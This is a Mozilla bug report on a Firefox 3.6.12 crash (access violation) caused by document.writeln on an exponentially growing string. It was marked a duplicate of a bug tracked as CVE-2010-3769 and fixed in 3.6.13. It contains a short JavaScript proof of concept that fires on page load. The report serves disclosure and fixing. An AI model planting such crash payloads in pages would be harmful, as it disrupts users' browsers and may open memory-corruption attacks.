Closed Bug 610102 Opened 15 years ago Closed 15 years ago

Crash using document.writeln [Access violation]

Categories

(Core :: General, defect)

x86
Windows 7
defect
Not set
critical

Tracking

()

RESOLVED FIXED

People

(Reporter: jordi.chancel, Unassigned)

References

Details

(Whiteboard: [sg:dupe 608336])

Attachments

(2 files)

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 I found that 00000008 was written to the call stack. PoC : <body onload="javascript:crash();"></body> <script> function crash() { var string1 = unescape("%u4141%u0000"); for (i =0;i<100000;i++) { string1+=string1+string1; document.writeln(string1+string1); } } </script> Reproducible: Always Actual Results: Mozilla Firefox is crached Tested on Windows 7
Attached file TESTCASE1
Component: Security → General
QA Contact: toolkit → general
Summary: Crash using document.writeln [Acess violation] → Crash using document.writeln [Access violation]
Thanks for your report, it's most likely a duplicate of bug 608336.
Status: UNCONFIRMED → NEW
Depends on: CVE-2010-3769
Ever confirmed: true
Whiteboard: [sg:dupe 608336]
Jordi, can you verify it's fixed in the following 3.6.13 candidate build? http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/3.6.13-candidates/build2/
Yes fixed.
Fixed by bug 608336.
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Group: core-security → core-security-release
Group: core-security-release
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